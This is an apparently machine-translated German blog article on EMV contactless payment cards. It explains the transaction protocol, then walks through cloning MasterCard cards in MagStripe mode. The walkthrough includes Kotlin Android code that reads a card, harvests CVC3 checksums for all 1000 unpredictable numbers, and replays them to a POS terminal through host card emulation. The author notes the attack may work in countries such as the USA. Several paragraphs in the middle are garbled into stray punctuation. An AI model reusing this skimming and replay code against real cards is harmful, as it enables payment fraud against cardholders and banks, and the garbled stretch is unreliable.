Klonen Sie eine kontaktlose Karte mit einer mobilen Anwendung

Es war immer interessant zu sehen, was auf einer Bankkarte unter der „Haube“ passiert. Wie das Kommunikationsprotokoll einer Bankkarte und eines POS-Terminals implementiert ist, wie es funktioniert und wie sicher es ist. Eine solche Gelegenheit bot sich mir, als ich ein Praktikum bei Digital Security absolvierte. Beim Parsen einer bekannten Sicherheitsanfälligkeit von EMV-Karten im MagStripe-Modus wurde daher beschlossen, eine mobile Anwendung zu implementieren, die über eine kontaktlose Schnittstelle mit dem Terminal kommunizieren kann, wobei eigene Befehle und eine detaillierte Analyse von Anforderungen und Antworten verwendet werden. Versuchen Sie auch, die Methode zum Klonen von MasterCard-Karten im MagStripe-Modus zu implementieren.

In diesem Artikel werde ich versuchen zu beschreiben, was eine EMV-Karte ist, wie sie funktioniert und wie Sie mit Android versuchen können, Ihre MasterCard-Karte zu klonen.

"Es gibt einige Dinge, die man mit Geld nicht kaufen kann. Für alles andere gibt es MasterCard »

Was ist eine EMV-Karte?

EMV ist der internationale Standard für Bankkarten mit Chip. E uropay + M asterCard + V ISA war an der Entwicklung dieses Standards beteiligt, daher der Name. Versuchen wir herauszufinden, wie die Karte über eine kontaktlose Schnittstelle mit dem POS-Terminal kommuniziert.

Beginnen wir mit den Grundlagen.

Eine physische kontaktlose EMV-Karte funktioniert fast genauso wie ein RFID-Tag. Wenn es einfach ist, tritt der Chip in das elektromagnetische Feld ein und in einem geschlossenen leitenden Stromkreis (in unserem Fall ist es eine Antenne, die sich um den Umfang befindet), der in einem magnetischen Wechselfeld angeordnet ist, wird ein elektrischer Wechslerstrom erzeugt. Dieser Strom lädt einen speziellen Kondensator auf, der parallel zum Resonanzkreis der Karte geschaltet ist. Die im Kondensator gespeicherte Energie wird verwendet, um eine Mikroschaltungskarte für verschiedene Operationen durchzuführen. Wenn der Leser das elektromagnetische Feld ändert, werden die Änderungen sofort auf dem Chip wahrgenommen. Mit Hilfe der Signalmodulation können wir Informationen in binärer Form übertragen. Wenn Sie den Lastwiderstand an der Karte anschließen und / oder die Kapazität des Kondensators ändern, können Sie den Strom im Stromkreis der Karte ändern, was zu einer Änderung des von ihr im Bereich der Leseschaltung erzeugten elektromagnetischen Feldes führt, sodass die Karte Daten überträgt. Der Leser muss diese Änderungen erkennen. Diese physikalische Interaktion wird durch die Norm ISO / IEC 14443 „Identifikationskarten - Kontaktlose Karten für integrierte Schaltkreise - Näherungskarten“ geregelt.

Der Kartenchip selbst ist eine Smartcard, auf der JavaCard ausgeführt wird, eine separate Version von Java für Plattformen mit geringen Rechenressourcen und Unterstützung für kryptografische Algorithmen. JavaCard lädt Applets herunter, bei denen es sich um Anwendungen handelt. Es gibt auch eine GlobalPlatform, ein bestimmter Standard für JavaCard, der die Möglichkeit bietet, Daten auf der Karte sicher zu verwalten und Anwendungen auf der Karte herunterzuladen, zu ändern und zu löschen. In diesem Artikel werden die Sicherheitsmechanismen der Smartcard selbst nicht berücksichtigt. Es reicht zu wissen, dass sich die geschützten Daten, z. B. der private Schlüssel und der geheime Hauptschlüssel der Karte, an einem sicheren Ort befinden und nicht mit Standardmitteln entfernt werden können.

Ich erinnere Sie auch an eine kleine Terminologie für diejenigen, die nicht vertraut sind.

POS-Terminal (Point of Sale) - ein Gerät des Verkäufers, das eine Karte liest und eine Zahlung einleitet. Weiterhin nennen wir dieses Gerät einfach ein Terminal.
Die ausstellende Bank ist die Bank, die Ihre Karte ausgestellt hat.
Acquirer Bank - eine Bank, die Verkäufern POS-Terminals ausstellt und Zahlungen von diesen verarbeitet.
Das Zahlungssystem ist das zentrale Bindeglied zwischen der Acquirer Bank und der ausstellenden Bank. Es werden absolut alle Zahlungen ausgeführt, und es weiß, welche Bank wie viel Geld überweisen soll. Es gibt viele Zahlungssysteme auf der Welt, neben dem bekannten Visa und MasterCard gibt es auch American Express , China UnionPay und das russische Zahlungssystem MIR .

Nun, die Karte und der Leser können kommunizieren. Sie senden sich gegenseitig APDU-Befehle in Form von Tag-Length-Value, d.h. Der Name des Tags wird hexadezimal übertragen, seine Länge und sein Wert selbst. Alle Befehle sind natürlich in der Dokumentation beschrieben und sehen ungefähr so ​​aus:



Die Standard-EMV-Transaktion erfolgt in mehreren Schritten. Ich werde den vollständigen Interaktionsalgorithmus im Fall einer Kontaktschnittstelle beschreiben. Bei einer kontaktlosen Schnittstelle ist der Algorithmus etwas verkürzt:

• Anwendungsauswahl;
• Initialisierung der Antragsbearbeitung;
• Anwendungsdaten lesen
• Offline-Authentifizierung
• Verarbeitungsbeschränkungen;
• Karteninhaberscheck;
• Risikomanagement auf der Seite des Terminals;
• Analyse von Terminalaktionen;
• Risikomanagement auf der Kartenseite;
• Analyse der Aktionen der Karte;
• Online-Verarbeitung;
• Der Abschluss der Operation.

Wir betrachten kurz jede Operation.

Anwendungsauswahl. Es kommt häufig vor, dass eine Karte mehrere Anwendungen enthält. Zum Beispiel eine Bankkarte und ein Reiseticket. Und das Terminal muss irgendwie herausfinden, wo und welcher Algorithmus verwendet werden soll. Mit der sogenannten Application Identifier (AID ) wird eine Anwendung ausgewählt. Um dies zu verstehen, sendet das Terminal einen SELECT- Befehl. Die AID der Visa Classic-Karte sieht beispielsweise folgendermaßen aus: A0000000031010 . Wenn mehrere solcher Codes als Antwort eingehen und das Terminal mit mehreren Anwendungen arbeiten kann, zeigt das Terminal eine Liste an und bietet an, die von uns benötigte Anwendung auszuwählen. Wenn das Terminal keinen der Anwendungscodes unterstützt, wird der Vorgang vom Terminal abgelehnt.

Initialisierung der Antragsbearbeitung. Hier wird zunächst der geografische Standort überprüft. Zum Beispiel können Maestro Momentum-Karten nur in Russland bezahlt werden. Diese Phase wird durchgeführt, um den Emittenten die Möglichkeit zu geben, vorhandene Online-Risikomanagementmethoden bei der Durchführung von Offline-Operationen anzuwenden. Zu diesem Zeitpunkt kann eine EMV-Transaktion auf Initiative der Karte selbst storniert werden, wenn diese Art von Transaktion vom Emittenten in einem bestimmten Land der Welt verboten ist. Ferner überträgt die Karte einen Satz speziell strukturierter Informationen an das Terminal, die eine Beschreibung der Funktionalität der Karte und der Anwendung enthalten.

Anwendungsdaten lesen. Verschiedene für die Transaktion erforderliche Kartendaten werden an das Terminal übertragen, beispielsweise Kartennummer, Ablaufdatum, Transaktionszähler und viele andere Daten. Einige davon werden später besprochen.

Beispieldaten:



Eine Bescheinigung über den öffentlichen Schlüssel der ausstellenden Bank und die Karte selbst wird ebenfalls übermittelt. Damit das Terminal die digitale Signatur einiger Kartendaten überprüfen kann, wird die PKI-Infrastruktur (Public Key Infrastructure) verwendet. Kurz gesagt, das Zahlungssystem verfügt über zwei Schlüssel - öffentlich und privat, und das Zahlungssystem gilt für alle Teilnehmer der CA (Center Authority) . Tatsächlich stellt das Zahlungssystem für jede Bank des Emittenten ein neues Schlüsselpaar aus und generiert gleichzeitig ein Zertifikat des öffentlichen Schlüssels der Bank des Emittenten, das mit dem privaten Schlüssel CA signiert wird. Wenn die Bank eine neue Karte ausstellt, generiert sie dementsprechend ein Schlüsselpaar für die Karte und ein Zertifikat über den öffentlichen Schlüssel der Karte, das mit dem privaten Schlüssel der Bank signiert wird. In Terminals wird normalerweise ein Zertifikat mit öffentlichem Schlüssel für verschiedene Zahlungssysteme verkabelt. Wenn die Karte das Zertifikat des öffentlichen Schlüssels der Bank des Ausstellers und das Zertifikat der Karte selbst überträgt, kann das Terminal die gesamte Kette mithilfe des öffentlichen Schlüssels des Zahlungssystems problemlos überprüfen. Das Terminal überprüft mithilfe des öffentlichen Schlüssels des Zahlungssystems zunächst die Echtheit des Bankzertifikats des Ausstellers. Wenn es echt ist, kann es als vertrauenswürdig eingestuft werden. Mit dem Bankzertifikat des Ausstellers können Sie nun das Zertifikat der Karte selbst überprüfen. Weitere Details finden Sie im Artikel zur EMV-Sicherheit .

Offline-Authentifizierung. Das Terminal bestimmt den Typ der unterstützten Offline-Authentifizierungsmethode. Es gibt statische ( statische Datenauthentifizierung - SDA ), dynamische ( dynamische Datenauthentifizierung - DDA ) und kombinierte ( kombinierte Datenauthentifizierung - CDA ). Diese Methoden basieren ebenfalls auf PKI. SDA besteht nur aus signierten Daten auf dem privaten Schlüssel der Bank des Ausstellers, DDA - das Terminal sendet eine Zufallszahl und die Karte muss diese mit ihrem privaten Schlüssel signieren. Das Terminal überprüft diese Signatur anhand des zuvor empfangenen Kartenzertifikats, sodass das Terminal dies sicherstellt Die Karte hat wirklich einen privaten Schlüssel - daher ist sie echt. CDA ist nur eine Kombination aus beiden.

Handhabungsbeschränkungen. Hier prüft das Terminal die zuvor von der Karte empfangenen Daten auf die Eignung für diesen Vorgang. Beispielsweise werden die Start- / Enddaten des Ablaufdatums der Anwendung (Tag '5F24') und des Datums des Inkrafttretens der Anwendung (Tag '5F25') überprüft . Außerdem wird die Version der Anwendung überprüft. Die Ergebnisse der in dieser Phase durchgeführten Operationen werden ebenfalls im TVR- Bericht (Terminalverifizierungsergebnisse) aufgezeichnet. Basierend auf den Ergebnissen dieser Phase kann die Transaktion nicht abgebrochen werden, selbst wenn beispielsweise die Anwendung abgelaufen ist.

Karteninhaber überprüfen. Die Überprüfung des Karteninhabers wird durchgeführt, um die Person zu authentifizieren, die die Karte bereitgestellt hat, und um zu überprüfen, ob sie der wahre Eigentümer der Karte ist. Der EMV-Standard bietet verschiedene Methoden zur Überprüfung von Karteninhabern . Überprüfungsmethoden werden sowohl auf dem Terminal als auch auf der Karte definiert. Sie sind in den sogenannten CVM-Listen enthalten . Während der Ausführung vergleichen das Terminal und die Karte die empfangenen CVM-Listen und wählen die allgemeine Überprüfungsmethode aus.

Liste der unterstützten Überprüfungsmethoden:

• Kein CVM erforderlich ('011111'b);
• CVM-Verarbeitung fehlgeschlagen ('000000'b);
• Unterschrift ('011110'b);
• Online verschlüsselte verschlüsselte PIN ('000010'b);
• Überprüfung der Klartext-PIN durch ICC ('000001'b);
• Überprüfung der PIN im Klartext durch ICC und Signatur ('000011'b);
• Verschlüsselte PIN-Überprüfung durch ICC ('000100'b);
• Verschlüsselte PIN-Überprüfung durch ICC und Signatur ('000101'b).

Hier gibt es auch interessante Informationen zu diesem Thema.

Risikomanagement auf der Seite des Terminals. In dieser Phase führt das Terminal eine interne Überprüfung der Transaktionsparameter auf der Grundlage der Risikomanagementeinstellungen der übernehmenden Bank durch. Risikomanagementverfahren können vom Terminal jederzeit zwischen dem Abschluss des Lesevorgangs der Kartendaten und der Bildung des ersten GENERATE AC- Befehls durch das Terminal durchgeführt werden. Das Risikomanagement auf der Terminalseite umfasst drei Mechanismen:

• Kontrolle der Größe der auf der Karte ausgeführten Vorgänge ( Überprüfung der Bodenbegrenzung );
• zufällige Transaktionsauswahl für die Online-Autorisierung dieser Transaktion durch den Emittenten ( zufällige Transaktionsauswahl );
• Überprüfung der Offline-Aktivität bei Verwendung der Karte ( Velocity Checking ).

Analyse von Terminalaktionen. In dieser Phase analysiert das Terminal die Ergebnisse der vorherigen Schritte der Transaktion. Basierend auf den Ergebnissen der Analyse entscheidet das Terminal, ob die Operation online durchgeführt, offline ausgeführt oder die Operation abgelehnt werden soll.

Risikomanagement auf der Kartenseite. Die Karte, die vom GENERATE AC Befehlsdaten über die Transaktion, das Terminal und die Ergebnisse der Terminalprüfungen erhalten hat, führt ihrerseits ihre eigenen Risikomanagementverfahren durch und trifft ihre eigene Entscheidung darüber, wie der Vorgang abgeschlossen werden soll.

Analyse der Aktionen der Karte. In dieser Phase schließt die Karte die Risikomanagementverfahren ab und generiert ein Antwortkryptogramm für das Terminal. Wenn die Karte die Transaktion genehmigt, wird ein Transaktionszertifikat generiert. Wenn die Karte beschließt, den Vorgang in Echtzeit auszuführen, generiert sie ein ARQC (Authorization Request Cryptogram) . Wenn die Karte alternative Autorisierungsmethoden verwendet, wird die Überweisung zur Anwendungsautorisierung verwendet . Falls die Karte die Transaktion ablehnt, klicken Sie auf Anwendungsauthentifizierungs-Kryptogramm .

Ein weiteres ARPC-Kryptogramm (Authorization Response Cryptogram) wird zur Authentifizierung des Ausstellers benötigt. Der Aussteller generiert ein Kryptogramm-ARPC und sendet das Kryptogramm an die Karte. Wenn die Karte das Kryptogramm bestätigt, wird der Aussteller von der Karte authentifiziert.

Ein wenig über die Sicherheit von Schlüsseln und die gegenseitige Authentifizierung der Karte und des Ausstellers aus dem Buch von I. M. Goldovsky:

Die gegenseitige Authentifizierung bedeutet, dass sich die Karte und das Terminal gegenseitig mithilfe der Authentifizierung von ARQC- und ARPC-Kryptogrammen authentifizieren. Kryptogramme sind Daten, die unter Verwendung eines geheimen Schlüssels (der der Karte und der Bank dem Aussteller bekannt ist), der Transaktionsnummer, einer vom Terminal generierten Zufallszahl sowie einiger Details der Transaktion, des Terminals und der Karte generiert werden. Im Fall von ARPC wird der Autorisierungsantwortcode des Ausstellers ebenfalls zu den aufgelisteten Daten hinzugefügt. Ohne Kenntnis des geheimen Schlüssels der Karte zur Erstellung eines Kryptogramms ist es unmöglich, ARQC / ARPC-Werte auf absehbare Zeit mit dem aktuellen Stand der Technik zu berechnen, und daher zeigt die Tatsache ihrer erfolgreichen Überprüfung die Authentizität der Karte und des Ausstellers an. Die Online-Authentifizierung ist die zuverlässigste Methode zur Authentifizierung einer Karte. Dies liegt daran, dass es direkt vom Emittenten ohne Vermittler in Form eines Terminals durchgeführt wird. Zusätzlich wird ein 3DES-Algorithmus mit einem temporären 112-Bit-Schlüssel für die Online-Authentifizierung verwendet, dessen kryptografische Stärke der kryptografischen Stärke des RSA-Algorithmus entspricht, wobei die Länge des asymmetrischen Schlüsselmoduls für die Offline-Authentifizierung der Kartenanwendung 1700 Bit überschreitet. Die Verwendung von asymmetrischen Schlüsseln dieser Länge auf der Karte ist immer noch recht selten. Normalerweise werden Schlüssel mit einer Modullänge von 1024, 1152 oder 1408 Bit verwendet.

Letztendlich durchläuft eine Online-Transaktion eine Kette:
Karte <--> POS-Terminal <--> Bank Acquire <--> Zahlungssystem <--> Bankaussteller.

Klonen Sie die MasterCard im MagStripe-Modus

Wir gehen direkt zum Prinzip des Klonens über. Diese kontaktlose Kartenangriffsmethode wurde von zwei Forschern, Michael Roland, Josef Langer von der Universität Österreich, veröffentlicht. Es basiert auf einem allgemeinen Prinzip namens Skimming . Dies ist ein solches Szenario, in dem ein Angreifer Geld von einer Bankkarte stiehlt, indem er Informationen von dieser Karte liest (kopiert). Im Allgemeinen ist es wichtig, die PIN geheim zu halten und nicht zu verlieren. Aber in der Methode der Österreicher müssen wir das nicht wissen. Das Klonen einer Zahlungskarte ist für die Kernel-Version der EMV Contactless Kernel 2-Anwendung erfolgreich. Die Version dieses Protokolls unterstützt zwei Betriebsmodi für kontaktlose Karten: EMV-Protokoll (MasterCard PayPass M / Chip) und MagStripe (MasterCard PayPass MagStripe) .

MagStripe ist ein Magnetstreifenkarten-Unterstützungsmodus. Dieser Modus ist auf MasterCard-Karten mit kontaktloser Schnittstelle implementiert. Der MagStripe-Modus wird höchstwahrscheinlich für Banken benötigt, die Schwierigkeiten haben, die gesamte Infrastruktur zu übertragen, um kontaktlose EMV-Transaktionen mit Chips zu unterstützen. Visa-Karten haben übrigens auch eine ähnliche Funktionsweise - PayWave MSD (Magnetic Stripe Data) .

Der Transaktionsverarbeitungsprozess für kontaktlose Karten ist im Vergleich zu Chipkarten abgeschnitten und funktioniert normalerweise im folgenden Modus:

1. Das Terminal sendet einen SELECT PPSE-Befehl (Proximity Payment System Environment). Die Karte sendet eine Liste der unterstützten Anwendungen.
2. Das Terminal sendet einen SELECT- Befehl. Als Antwort erhält er die erforderlichen Bewerbungsdetails.
3. Das Terminal sendet den Befehl GET_PROCESSING_OPTIONS . Die Karte antwortet, welche Art von Authentifizierung sie unterstützt und ob dort eine Überprüfung des Karteninhabers vorliegt.
4. Das Terminal sendet den Befehl READ_RECORDS . Die Antwortkarte sendet Track1 und Track2 fast genauso wie die auf dem Magnetstreifen der Karte aufgezeichneten.
5. Das Terminal sendet den Befehl COMPUTE_CRYPTOGRAPHIC_CHECKSUM . Dies bedeutet, dass die Karte einen CVC3-Wert basierend auf der übergebenen unvorhersehbaren Nummer generieren sollte.

Die Karte unterstützt den speziellen Befehl COMPUTE CRYPTOGRAPHIC CHECKSUM, dessen Argument die im UDOL (Unpredictable Number Data Object) definierten Daten sind. Infolgedessen berechnet die Karte unter Verwendung des 3DES-Algorithmus und des geheimen Schlüssels den dynamischen Wert CVC3 (Card Verification Code). Als Argument für die 3DES-Funktion werden die Verkettung der UDOL-Daten und des Transaktionszählers (Application Transaction Counter, ATC) verwendet. Daher hängt der Wert von CVC3 immer von den UN- und ATC-Objekten ab.

Mit anderen Worten, dieser Befehl wird benötigt, damit die Karte eine bestimmte „Signatur“ generiert, damit der Aussteller die Karte überprüfen kann. Die Signatur der Transaktion selbst fehlt jedoch in dieser Signatur. Die Signatur enthält ATC- Werte - 2 Bytes , CVC3 (Track1) - 2 Bytes , CVC3 (Track2) - 2 Bytes , die von der Karte basierend auf dem geheimen Schlüssel generiert werden, den auch die ausstellende Bank und der Transaktionszähler (ATC) kennen. Gleichzeitig informiert das POS-Terminal zum Generieren der Signatur die UN- Karte (Unpredictable Number) - 4 Byte, die auch bei der Generierung der Signatur verwendet wird. Die unvorhersehbare Nummer verhindert die Generierung von Authentifizierungscodes auf einer realen Karte für die spätere Verwendung bei betrügerischen Transaktionen. Bei Angriffen stört uns die UN stark, da es nicht möglich ist, 4 Bytes aufzulisten, ohne die Grenzen des Transaktionszählers zu überschreiten. Es gibt jedoch einige Schwachstellen in der Spezifikation.

Erstens beschränkt die Spezifikation UN auf die Codierung von Zahlen, nämlich den Binary Decimal Code (BCD) , was im Wesentlichen bedeutet, dass bei Betrachtung einer solchen codierten Zahl in HEX nur Zahlen von 0 bis 9 angezeigt werden und alle anderen Werte berücksichtigt werden als ob verboten. Somit verringert sich die Menge an UN von 4.294.967.295 auf 99.999.999.

Zweitens wird die Anzahl der signifikanten UN-Ziffern durch die Karte bestimmt. Abhängig von den speziellen Parametern in den Spuren kann die Anzahl der Ziffern in der UNO je nach Kartentyp zwischen 10 und 10.000 liegen. In der Praxis werden am häufigsten 1000 Werte gefunden.

Der Angriffsplan lautet also wie folgt:

1. Wir lesen die Karte und finden die Anzahl der signifikanten Stellen von UN heraus, die das Terminal bereitstellen wird
2. Wir sortieren alle UNs, erhalten alle möglichen Werte der Funktion COMPUTE_CRYPTOGRAHIC_CHECKSUM und speichern sie in der entsprechenden Tabelle mit der Zuordnung UN -> Ergebnis
3. Wir bringen es zum POS-Terminal und finden die Nummer heraus, nach der das POS-Terminal fragt.
4. Wir wählen das gewünschte Ergebnis aus der Tabelle aus und ersetzen es als Antwort auf das Terminal.
5. Die Transaktion wird beendet.
6. GEWINN. Der Erfolg der Genehmigung der Transaktion ist jedoch nicht garantiert, da die ausstellende Bank eine solche Transaktion ablehnen kann.

Es ist auch erwähnenswert, dass der Transaktionszähler (ATC) die Wiederverwendung zuvor verwendeter Authentifizierungscodes verhindert. Wenn wir diesen Angriff verwenden, müssen wir die Karte erneut kopieren, da der Transaktionszähler bereits zum Abrufen von Informationen verwendet wurde und in der Signatur verwendet wurde Wenn wir einen Transaktionszähler von 1000 hatten und nachdem wir die Transaktion an die Bank gesendet haben, akzeptiert die Bank keine Transaktionen mehr mit einem Zähler unter <1001. , 2 , , 65 , .

. , COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 , SELECT , GET_PROCESSING_OPTIONS , COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. , 1000 Google Galaxy Nexus S .

Terminal Simulator MasterCard. NFC- . . POS- . , .



NFC ACR122 .



. Kotlin Android. .

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

Zuerst müssen wir die Arbeit mit NFC einrichten. Am Telefon können wir in zwei Modi arbeiten. Im Kartenmodus reagieren wir auf Befehle vom Terminal und im Terminalmodus, wenn wir Befehle senden und beispielsweise eine Karte lesen. Das heißt, Zuerst können wir die Karte klonen und dann sicherstellen, dass wir auf Anfragen vom Terminal mit bereits vorbereiteten Befehlen antworten.

Das Folgende ist eine vereinfachte Implementierung der Interaktion mit NFC:

  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

Dies beschreibt die Reihenfolge der Befehle und die Aufzählung der Werte von Unpredictable Number in einem Zyklus von 0 bis 999. Wir ändern Nc in "00000 $ {String.format ("% 03d ", i)}". Replace (".. (?! $ ) ". toRegex ()," $ 0 "). Vergessen Sie nicht, GET_PROCESSING_OPTIONS jedes Mal vor COMPUTE_CRYPTOGRAPHIC_CHECKSUM auszuführen, da sonst der Scheckbetrag nicht berechnet wird.

Infolgedessen kann all dies in eine Datei geschrieben und bereits bei der Arbeit mit diesem Terminal verwendet werden. Hier bekommen wir den Namen und die Kartennummer, wir können sie auf dem Bildschirm anzeigen.

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

Eine Reihe von Befehlen, die wir brauchen.

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

Um das Abhören von Befehlen vom Terminal aus zu implementieren, müssen Sie Ihren Dienst starten und im Manifest deklarieren. In diesem Dienst kommt ein Befehl vom Terminal zu processCommandApdu. Wir vergleichen ihn mit dem in der Datei gespeicherten und geben die Antwort, die in der nächsten Zeile geschrieben wird.

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

Ein paar Screenshots aus der Anwendung. Wir lesen die Karte und das Parsim-Protokoll:



Somit ist es möglich, den Betrieb einer kontaktlosen EMV-Karte auf einem Telefon mit Kartendaten zu simulieren. Aber zum Glück oder unglücklicherweise für jemanden funktioniert dieser Angriff in Russland nicht. Nach unseren Experimenten erreichte die Transaktion ständig die Bank des Emittenten und wurde von der Bank selbst abgelehnt. Außerdem konnten wir mit MagStripe keine Offline-Transaktion durchführen. Ein solcher Angriff kann jedoch durchaus in anderen Ländern durchgeführt werden, in denen die Verwendung des MagStripe-Modus weit verbreitet ist und der Risikomanagement-Algorithmus beispielsweise in den USA geringfügig abweicht.

Links mit Hilfe dieses Artikels

Bank-Mikroprozessorkarten / I. M. Goldovsky - M .: TsIPSiR: Alpina Pub Lakers, 2010 .-- 686 p.
EMV-Projekt: Schritt für Schritt
Forschung österreichischer Forscher
Link zum Anwendungscode
Terminalsimulator.

Vielen Dank an barracud4 für die Unterstützung bei der Vorbereitung dieses Artikels.